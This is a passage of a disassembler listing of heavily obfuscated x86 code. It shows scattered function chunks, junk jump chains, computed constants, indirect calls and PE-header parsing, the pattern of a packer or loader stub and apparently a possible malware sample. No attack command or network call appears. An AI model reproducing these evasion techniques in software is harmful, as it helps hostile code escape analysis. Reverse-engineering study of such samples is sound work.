loc_42872A:				; CODE XREF: hjohnhn9:loc_427763j
		jmp	loc_4265B3
; END OF FUNCTION CHUNK	FOR sub_424E4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_42872F:				; CODE XREF: sub_424A28+6j
		call	sub_42841F


loc_428734:				; CODE XREF: hjohnhn9:00428A0Fj
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_424A28
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260BD


loc_42873A:				; CODE XREF: sub_4260BD+1j
		jmp	loc_429032
; END OF FUNCTION CHUNK	FOR sub_4260BD

; =============== S U B	R O U T	I N E =======================================



sub_42873F	proc near		; CODE XREF: sub_426A30:loc_4247BCp
					; sub_426A30+13p

; FUNCTION CHUNK AT 0042322F SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042324B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004252D4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427021 SIZE 00000007 BYTES

		xor	bx, bx
		add	ebx, 10000h


loc_428748:				; CODE XREF: sub_42873F-550Aj
					; sub_42873F:loc_427021j
		jno	loc_42324B
		sub	ebx, 10000h
		mov	eax, [ebx]
		jmp	loc_42322F
sub_42873F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_42875B:				; CODE XREF: sub_426354:loc_4290A3j
		sub	ecx, 5D05A8A1h
		cmp	ecx, 0AC25379Bh
		jmp	loc_425F00
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D64


loc_42876C:				; CODE XREF: sub_428D64-4AD4j
		or	eax, edx
		mov	edx, [ebp-8]


loc_428771:				; CODE XREF: sub_425BD2:loc_424454j
		mov	[edx], al
		mov	eax, [ebp-8]
		mov	al, [eax]
		jmp	loc_4264EB
; END OF FUNCTION CHUNK	FOR sub_428D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C98


loc_42877D:				; CODE XREF: sub_425C98:loc_4264F0j
		xchg	ecx, [esp+0]
		ror	eax, 7
		call	sub_426D6A
; END OF FUNCTION CHUNK	FOR sub_425C98

; =============== S U B	R O U T	I N E =======================================



sub_428788	proc near		; CODE XREF: hjohnhn9:00425BEDj
					; sub_424631:loc_428124p

; FUNCTION CHUNK AT 00423610 SIZE 0000000F BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	edx, 0CF0182F6h
		call	sub_427C53
		mov	ds:dword_423954, eax


loc_42879B:				; CODE XREF: hjohnhn9:00423A0Cj
					; sub_424631+4j ...
		mov	eax, ds:dword_423954
		jmp	loc_423610
sub_428788	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428477


loc_4287A5:				; CODE XREF: sub_428477:loc_4279E3j
		xor	eax, 4AF24693h
		add	eax, ebp
		add	eax, 6BD28E9Fh
		mov	eax, [eax]
		xchg	eax, [esp+8+var_8]
		call	eax


loc_4287BA:				; CODE XREF: hjohnhn9:00426730j
		jmp	loc_4252C8
; END OF FUNCTION CHUNK	FOR sub_428477

; =============== S U B	R O U T	I N E =======================================



sub_4287BF	proc near		; DATA XREF: sub_423851+6o

; FUNCTION CHUNK AT 00423022 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042318D SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042369A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00423767 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427234 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0042757E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042866C SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00428888 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429061 SIZE 00000022 BYTES

		mov	eax, [ebp-4]
		cmp	word ptr [eax],	2ECDh
		jz	loc_4287D2
		jmp	loc_423053
; ---------------------------------------------------------------------------


loc_4287D2:				; CODE XREF: sub_423851j sub_4287BF+8j
		jno	loc_427588
		mov	eax, [ebp-4]
		jmp	loc_423767
sub_4287BF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426354


loc_4287E0:				; CODE XREF: sub_426354+128Aj
		xor	ecx, 0F5929170h
		add	ecx, ebp
		add	ecx, 264E3726h
		mov	[ecx], eax
		pop	ecx
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-8], 0
		jmp	loc_427AB5
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
		sub	eax, esi
		test	ebx, ecx
		jmp	loc_4269B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426D02


loc_428806:				; CODE XREF: sub_426D02+Aj
		push	4365EA7Eh
		pop	eax
		rol	eax, 0Dh
		xor	eax, 0C8A505A7h
		rol	eax, 1Dh
		add	eax, 91853137h
		jmp	loc_4274D5
; END OF FUNCTION CHUNK	FOR sub_426D02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_428823:				; CODE XREF: sub_425029-1536j
		jp	loc_42626A
; END OF FUNCTION CHUNK	FOR sub_425029

; =============== S U B	R O U T	I N E =======================================



sub_428829	proc near		; CODE XREF: sub_4262C5+289Dp
		xchg	ecx, [esp+0]
		pop	ecx
		push	38651AACh
		pop	ecx
		jmp	loc_425E3A
sub_428829	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_428838	proc near		; CODE XREF: hjohnhn9:00423AFFj
					; hjohnhn9:00427BB8p
		xchg	esi, [esp+0]
		pop	esi
		mov	al, [eax]
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		push	offset sub_423851
		jmp	nullsub_122
sub_428838	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423CDB


loc_428851:				; CODE XREF: sub_423CDB:loc_424CA5j
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0


loc_42885B:				; CODE XREF: sub_425F3F+3j
		mov	eax, [ebp-14h]
		mov	eax, [eax+20h]
		add	eax, [ebp-4]
		xor	edx, edx
		push	edx
		call	sub_428965


loc_42886C:				; CODE XREF: hjohnhn9:00425B66j
		jmp	loc_426B13
; END OF FUNCTION CHUNK	FOR sub_423CDB
; ---------------------------------------------------------------------------


loc_428871:				; CODE XREF: hjohnhn9:004272CDj
		and	edx, 752A12AAh
		cmp	edx, 0ED7C7803h
		jmp	loc_426E70
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427852


loc_428883:				; CODE XREF: sub_427852+739j
		jmp	loc_428EEB
; END OF FUNCTION CHUNK	FOR sub_427852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4287BF


loc_428888:				; CODE XREF: sub_4287BF-123Cj
		jmp	loc_42866C
; END OF FUNCTION CHUNK	FOR sub_4287BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A36


loc_42888D:				; CODE XREF: sub_4265CD-258Ej
					; sub_427A36-1779j
		jmp	nullsub_65
; END OF FUNCTION CHUNK	FOR sub_427A36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42345B


loc_428892:				; CODE XREF: hjohnhn9:loc_423604j
					; sub_42345B+3B82j
		pop	ecx
		sub	ecx, 0AEA4A8ACh
		xor	ecx, ds:4000F7h
		rol	ecx, 0Eh
		and	ecx, 2216952Ah
		jmp	loc_424145
; END OF FUNCTION CHUNK	FOR sub_42345B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A30


loc_4288AD:				; CODE XREF: sub_426A30-3794j
		call	sub_426859
		jnz	loc_427181
		mov	ecx, [ebx+edx-4]
		or	ecx, ecx
		jz	loc_4247C1
		jmp	loc_4247B9
; END OF FUNCTION CHUNK	FOR sub_426A30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428CC9


loc_4288C9:				; CODE XREF: sub_428CC9+Ej
		jnz	loc_423E25
		jmp	sub_428E98
; END OF FUNCTION CHUNK	FOR sub_428CC9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_4288D4:				; CODE XREF: sub_427486-111j
		mov	edi, [ecx]
		cdq


loc_4288D7:				; CODE XREF: sub_427486:loc_428DEEj
		call	sub_428FD3
		push	383FE567h
		xchg	ebp, [esp+0]
		mov	edx, ebp
		pop	ebp
		add	edx, 19F9D197h
		jmp	loc_428B1C
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424877


loc_4288F3:				; CODE XREF: sub_424877+1j
		jmp	loc_42464A
; END OF FUNCTION CHUNK	FOR sub_424877
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424161


loc_4288F8:				; CODE XREF: sub_424161-28Fj
		jmp	nullsub_67
; END OF FUNCTION CHUNK	FOR sub_424161
; ---------------------------------------------------------------------------
		xchg	edi, ebp
		mov	edx, [edi]
		jmp	sub_4264CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_428906:				; CODE XREF: sub_427564+81Fj
		jge	loc_42655C
		jno	loc_425CE7


loc_428912:				; CODE XREF: sub_427564-3AC6j
		rol	edx, 1Bh
		add	edx, 0AFC6A692h
		add	edx, ebp
		jmp	sub_423A75
; END OF FUNCTION CHUNK	FOR sub_427564
; ---------------------------------------------------------------------------


loc_428922:				; CODE XREF: hjohnhn9:loc_4264B7j
		pop	edx
		sub	edx, 0DAE6080Fh
		rol	edx, 2
		and	edx, 0A9DCFEE7h
		rol	edx, 0Dh
		jmp	loc_424941
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_42893A:				; CODE XREF: sub_424698+1DD8j
		cmp	edx, 11B06969h
		jmp	loc_423AD2
; END OF FUNCTION CHUNK	FOR sub_424698

; =============== S U B	R O U T	I N E =======================================



sub_428945	proc near		; CODE XREF: sub_424D99-E93p
					; hjohnhn9:00424D87j

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_42762D
sub_428945	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42851A


loc_428951:				; CODE XREF: sub_42851A:loc_424D63j
		xchg	eax, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		xchg	ecx, [esp+4+var_4]


loc_42895C:				; CODE XREF: sub_426C09+238Bj
		mov	ebp, ecx
		add	ecx, ebp
		jmp	loc_4267CC
; END OF FUNCTION CHUNK	FOR sub_42851A

; =============== S U B	R O U T	I N E =======================================



sub_428965	proc near		; CODE XREF: hjohnhn9:00425CAEj
					; sub_423CDB+4B8Cp

; FUNCTION CHUNK AT 004265BE SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	eax
		mov	eax, [ebp-18h]
		shl	eax, 2
		push	offset sub_4284CB
		jmp	loc_4265BE
sub_428965	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42897A	proc near		; CODE XREF: sub_42442F:loc_424F52j
		retn
sub_42897A	endp


; =============== S U B	R O U T	I N E =======================================



sub_42897B	proc near		; CODE XREF: sub_425CB3:loc_427860p
					; sub_4283C9+Aj

; FUNCTION CHUNK AT 00424A1D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424F5C SIZE 0000001A BYTES

		jz	sub_42363F
		push	ebp
		mov	ebp, esp
		push	ecx
		call	sub_428309


loc_42898A:				; CODE XREF: sub_424946+38ADj
		jmp	loc_424F5C
sub_42897B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426859


loc_42898F:				; CODE XREF: sub_426859+Cj
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_426859
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A78


loc_428994:				; CODE XREF: sub_426A78-1981j
		jmp	loc_425187
; END OF FUNCTION CHUNK	FOR sub_426A78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425029


loc_428999:				; CODE XREF: sub_425029:loc_428244j
		mov	eax, [ebp-0Ch]
		cmp	byte ptr [eax],	0
		call	sub_42441D
; END OF FUNCTION CHUNK	FOR sub_425029

; =============== S U B	R O U T	I N E =======================================



sub_4289A4	proc near		; CODE XREF: hjohnhn9:00424BFCp
					; hjohnhn9:00427C13j
		xchg	ecx, [esp+0]
		pop	ecx
		call	nullsub_2
		jmp	loc_4270BB
sub_4289A4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4289B2	proc near		; CODE XREF: sub_4279ED+3j
		add	esp, 0FFFFFED8h
		mov	[ebp-8], edx


loc_4289BB:				; CODE XREF: sub_423F65:loc_424F8Bj
		call	sub_423CDB
sub_4289B2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425EA9


loc_4289C0:				; CODE XREF: sub_425EA9+6j
		jmp	loc_424801
; END OF FUNCTION CHUNK	FOR sub_425EA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A28


loc_4289C5:				; CODE XREF: sub_424A28:loc_4276BBj
		jnz	loc_4260A9
		jmp	loc_427ACF
; END OF FUNCTION CHUNK	FOR sub_424A28
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		call	sub_426AF6
; START	OF FUNCTION CHUNK FOR sub_427C9B


loc_4289DB:				; CODE XREF: sub_427C9B-1BD3j
		adc	edx, ecx


loc_4289DD:				; CODE XREF: sub_426A78:loc_425187j
		call	sub_424877
		mov	edx, 0D504D785h
		call	sub_4279ED
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0]
		jmp	loc_423771
; END OF FUNCTION CHUNK	FOR sub_427C9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42466E


loc_4289F8:				; CODE XREF: sub_42466E+3F1Aj
		jmp	loc_42309F
; END OF FUNCTION CHUNK	FOR sub_42466E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42363F


loc_4289FD:				; CODE XREF: sub_42363F+398Bj
		push	eax
		call	sub_4244F5
		retn
; END OF FUNCTION CHUNK	FOR sub_42363F
; ---------------------------------------------------------------------------


loc_428A04:				; DATA XREF: sub_424819+2BE6o
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		push	offset sub_4236A7
		jmp	loc_428734
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263E3


loc_428A14:				; CODE XREF: sub_4263E3-1B37j
		jl	loc_427F10
		jmp	loc_425056
; END OF FUNCTION CHUNK	FOR sub_4263E3
; ---------------------------------------------------------------------------
		or	edx, edi
		and	edx, eax
		jmp	sub_4249E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424EC9


loc_428A28:				; CODE XREF: sub_424EC9:loc_427298j
		xor	eax, 6FC7DEFFh
		push	edi
		pushf
		push	offset sub_427D6A
		jmp	loc_42797A
; END OF FUNCTION CHUNK	FOR sub_424EC9
; ---------------------------------------------------------------------------


loc_428A3A:				; CODE XREF: hjohnhn9:loc_427B88j
		pop	edx
		sub	edx, 0E4E7A73Eh
		add	edx, 9C59D4EBh
		or	edx, 46B6616Ah
		rol	edx, 1Fh
		add	edx, 106308B1h
		jmp	loc_42697C
; ---------------------------------------------------------------------------


loc_428A5B:				; CODE XREF: hjohnhn9:00423DA3j
		jge	loc_427C2C
		push	675F903Ah
		jmp	sub_428162
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_67. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4266B5


loc_428A6C:				; CODE XREF: sub_4266B5:loc_425D55j
		mov	esi, ecx
		xchg	esi, [esp+4+var_4]
		mov	esp, ebp
		xchg	eax, [esp+0]
		mov	ebp, eax
		pop	eax
		jmp	loc_426B04
; END OF FUNCTION CHUNK	FOR sub_4266B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4247F4


loc_428A7E:				; CODE XREF: sub_4247F4+2571j
		sub	esi, 76DE389Ch
		xor	esi, 0DF502266h
		add	esi, ebp
		add	esi, 0E949C2C4h
		jmp	loc_42634A
; END OF FUNCTION CHUNK	FOR sub_4247F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E98


loc_428A97:				; CODE XREF: sub_428E98-1E11j
		pop	esi
		push	offset loc_4276EB
		jmp	loc_424FDE
; END OF FUNCTION CHUNK	FOR sub_428E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42304F


loc_428AA2:				; CODE XREF: sub_42304F:loc_424F48j
		push	offset sub_423F65
		jmp	nullsub_73
; END OF FUNCTION CHUNK	FOR sub_42304F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D38


loc_428AAC:				; CODE XREF: sub_424D38+15j
		call	sub_427564
		push	offset loc_4268D3
		jmp	loc_423958
; END OF FUNCTION CHUNK	FOR sub_424D38

; =============== S U B	R O U T	I N E =======================================



sub_428ABB	proc near		; DATA XREF: sub_428D49+11o
		cmp	ds:dword_426E3C, 0
		jnz	loc_427FBF
		push	offset loc_42805E
		jmp	nullsub_82
sub_428ABB	endp

; ---------------------------------------------------------------------------


loc_428AD2:				; CODE XREF: hjohnhn9:00426A1Cj
		popf
		jmp	loc_426491
; ---------------------------------------------------------------------------


loc_428AD8:				; CODE XREF: hjohnhn9:00427770j
		cmp	edx, 0B4BB5C59h
		jmp	loc_4240FF
; ---------------------------------------------------------------------------
		db 0DAh
dword_428AE4	dd 0			; DATA XREF: sub_4264CF+4r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42392D


loc_428AE8:				; CODE XREF: sub_42392D+Cj
		jmp	loc_424E36
; END OF FUNCTION CHUNK	FOR sub_42392D
; ---------------------------------------------------------------------------
		db 88h,	0F5h, 6Fh
dword_428AF0	dd 0			; DATA XREF: hjohnhn9:004236CDw
					; hjohnhn9:004236D2r ...
dword_428AF4	dd 93B23775h, 46C51999h	; DATA XREF: sub_427C9B-219Co
		db 1Bh,	36h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240E6


loc_428AFF:				; CODE XREF: sub_4240E6+14j
		jmp	loc_42744E
; END OF FUNCTION CHUNK	FOR sub_4240E6
; ---------------------------------------------------------------------------
dword_428B04	dd 0			; DATA XREF: sub_426671-657r
					; hjohnhn9:0042669Aw ...
dword_428B08	dd 0			; DATA XREF: sub_42855B-5237r
					; sub_427C9B-4527w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428CE7


loc_428B0C:				; CODE XREF: sub_428CE7+15Aj
		jmp	nullsub_121
; END OF FUNCTION CHUNK	FOR sub_428CE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428183


loc_428B11:				; CODE XREF: sub_428183-32CBj
		jmp	loc_42332F
; END OF FUNCTION CHUNK	FOR sub_428183
; ---------------------------------------------------------------------------
		dw 8362h
dword_428B18	dd 0			; DATA XREF: sub_42362A+Aw
					; sub_42363F+2641r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_428B1C:				; CODE XREF: sub_427486+1467j
		jmp	loc_428BC1
; END OF FUNCTION CHUNK	FOR sub_427486
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427564


loc_428B22:				; CODE XREF: sub_427564-2AA0j
		jmp	loc_423A98
; END OF FUNCTION CHUNK	FOR sub_427564
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_428B28	proc near		; CODE XREF: hjohnhn9:0042386Aj
					; sub_426354-10D5p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00423279 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_423279
sub_428B28	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_428B34:				; CODE XREF: sub_425BD2:loc_426EFEj
		jz	loc_4277E8
		jmp	loc_427028
; END OF FUNCTION CHUNK	FOR sub_425BD2
; ---------------------------------------------------------------------------
		and	edx, ebp
		jmp	sub_426D17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42325E


loc_428B46:				; CODE XREF: sub_42325E:loc_426FE4j
		jnz	loc_424E6B


loc_428B4C:				; CODE XREF: sub_42325E:loc_427BBDj
		add	esi, 0E8DA9B7Fh
		add	esi, ebp
		add	esi, 0D5210B75h
		mov	esi, [esi]
		jmp	loc_428F20
; END OF FUNCTION CHUNK	FOR sub_42325E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262C5


loc_428B61:				; CODE XREF: sub_4262C5-279Dj
					; sub_424631:loc_425B0Ej
		push	ecx
		call	sub_428829


loc_428B67:				; CODE XREF: sub_426354-57j
					; hjohnhn9:00426512j
		jmp	loc_425C11
; END OF FUNCTION CHUNK	FOR sub_4262C5
; ---------------------------------------------------------------------------


loc_428B6C:				; CODE XREF: hjohnhn9:004241B9j
		jmp	loc_42671A
; ---------------------------------------------------------------------------


loc_428B71:				; DATA XREF: sub_423FB9+Ao
		mov	eax, [eax]
		cmp	dword ptr [eax+3Ch], 0
		jz	loc_42476D
		jmp	loc_427208
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E4F


loc_428B82:				; CODE XREF: sub_424E4F:loc_4265B3j
		mov	[ebp+var_8], eax
		jmp	loc_4244E4
; END OF FUNCTION CHUNK	FOR sub_424E4F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A78


loc_428B8A:				; CODE XREF: sub_424A78+216Bj
		test	byte ptr [ebp-8], 8
		push	offset sub_42626F
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_424A78
; ---------------------------------------------------------------------------


loc_428B98:				; CODE XREF: hjohnhn9:004273E9j
		not	ebp
		pop	edx
		push	0E1B35378h


loc_428BA0:				; CODE XREF: hjohnhn9:loc_427F4Ej
		push	offset sub_426CC8
		jmp	locret_42664F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423753


loc_428BAA:				; CODE XREF: sub_423753+3ADCj
		add	edx, ecx
; END OF FUNCTION CHUNK	FOR sub_423753
; START	OF FUNCTION CHUNK FOR sub_426354


loc_428BAC:				; CODE XREF: sub_423753:loc_425CF5j
					; hjohnhn9:00426F39j ...
		mov	eax, [ebp-8]
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		push	offset sub_425B34
		jmp	loc_42854C
; END OF FUNCTION CHUNK	FOR sub_426354
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427486


loc_428BC1:				; CODE XREF: sub_427486:loc_428B1Cj
		rol	edx, 17h
		test	edx, 2000000h
		jmp	loc_427292
; END OF FUNCTION CHUNK	FOR sub_427486

; =============== S U B	R O U T	I N E =======================================



sub_428BCF	proc near		; DATA XREF: sub_425E94+5o

var_4		= dword	ptr -4

		push	eax
		mov	eax, [ebp-4]
		mov	eax, [eax+3Ch]
		cdq
		add	eax, [esp+4+var_4]
		adc	edx, [esp+4]
		call	sub_427994
sub_428BCF	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_424631


loc_428BE3:				; CODE XREF: sub_424631+14E3j
		jmp	loc_423B24
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424698


loc_428BE8:				; CODE XREF: sub_424698:loc_4241A5j
		sub	edi, eax
		and	ecx, ebx
		jb	loc_425C56
		jmp	loc_4261CF
; END OF FUNCTION CHUNK	FOR sub_424698
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423F65


loc_428BF7:				; CODE XREF: sub_423F65:loc_426C64j
		and	eax, ds:4000F6h
		push	offset loc_424056
		jmp	nullsub_79
; END OF FUNCTION CHUNK	FOR sub_423F65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428D0E


loc_428C07:				; CODE XREF: sub_428D0E+Bj
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_428EEB
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		jmp	loc_423B92
; END OF FUNCTION CHUNK	FOR sub_428D0E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_428C28:				; CODE XREF: hjohnhn9:00426171j
		jmp	loc_4246ED
; ---------------------------------------------------------------------------


loc_428C2D:				; DATA XREF: sub_426671-34FBo
		push	eax
		pushf
		push	0C227AD4Bh
		pop	eax
		jmp	loc_425D00
; ---------------------------------------------------------------------------
		call	sub_4235C9
; START	OF FUNCTION CHUNK FOR sub_426604


loc_428C3F:				; CODE XREF: sub_426604+10j
		jmp	loc_426894
; END OF FUNCTION CHUNK	FOR sub_426604
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428C44:				; CODE XREF: sub_424631+B51j
		jmp	loc_425235
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423B05


loc_428C49:				; CODE XREF: sub_423B05-C5j
		jmp	loc_425252
; END OF FUNCTION CHUNK	FOR sub_423B05

; =============== S U B	R O U T	I N E =======================================



sub_428C4E	proc near		; CODE XREF: hjohnhn9:00428115j
					; sub_42870E+5p

; FUNCTION CHUNK AT 00425EA4 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		pop	ebp
		mov	eax, ds:dword_423950
		call	sub_42859A


loc_428C5E:				; CODE XREF: sub_424631-FC5j
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		or	eax, 10h
		mov	edx, [ebp+8]
		mov	[edx-8], eax
		jmp	loc_425EA4
sub_428C4E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424631


loc_428C75:				; CODE XREF: sub_424631-FCBj
		cmp	dword ptr [ebp-10h], 2
		jnz	loc_426894
		jmp	loc_4230C9
; END OF FUNCTION CHUNK	FOR sub_424631
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423BC3


loc_428C84:				; CODE XREF: sub_423BC3:loc_424FE3j
		mov	ebp, eax
		xchg	ebp, [esp-4+arg_0]
		push	2173D128h
		xchg	ecx, [esp+0]
		mov	eax, ecx
		pop	ecx
		or	eax, ds:4000F0h
		xor	eax, 43105B17h
		jmp	loc_4270E3
; END OF FUNCTION CHUNK	FOR sub_423BC3
; ---------------------------------------------------------------------------
		call	sub_427B7A
; START	OF FUNCTION CHUNK FOR sub_425BD2


loc_428CAA:				; CODE XREF: sub_425BD2+1C28j
		jmp	loc_426235
; END OF FUNCTION CHUNK	FOR sub_425BD2

; =============== S U B	R O U T	I N E =======================================



sub_428CAF	proc near		; CODE XREF: sub_4278DC:loc_427A24j
					; sub_425BD2:loc_428DA6p

; FUNCTION CHUNK AT 00427048 SIZE 00000018 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, [ebp-4]
		mov	byte ptr [eax],	0
		push	99D469C7h
		add	eax, 7F96339Ah
		jmp	loc_427048
sub_428CAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_428CC9	proc near		; DATA XREF: sub_425E49+7o

; FUNCTION CHUNK AT 00423E25 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00425B86 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004288C9 SIZE 0000000B BYTES

		push	eax
		call	sub_4278DC
		test	eax, eax
		jz	loc_42476D
		jmp	loc_4288C9
sub_428CC9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 3560E78Eh
		push	ebp
		jmp	sub_4248F9

; =============== S U B	R O U T	I N E =======================================



sub_428CE7	proc near		; CODE XREF: hjohnhn9:0042331Bj
					; sub_4263C7+7p

; FUNCTION CHUNK AT 00428B0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428E3C SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	eax
		call	sub_42345B
		jmp	loc_428E3C
sub_428CE7	endp

; ---------------------------------------------------------------------------
		push	4F6CFCF7h
		jmp	loc_42430F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426F85


loc_428D00:				; CODE XREF: sub_426F85-EA0j
		mov	[ebp-10h], eax
		mov	eax, [ebp-10h]
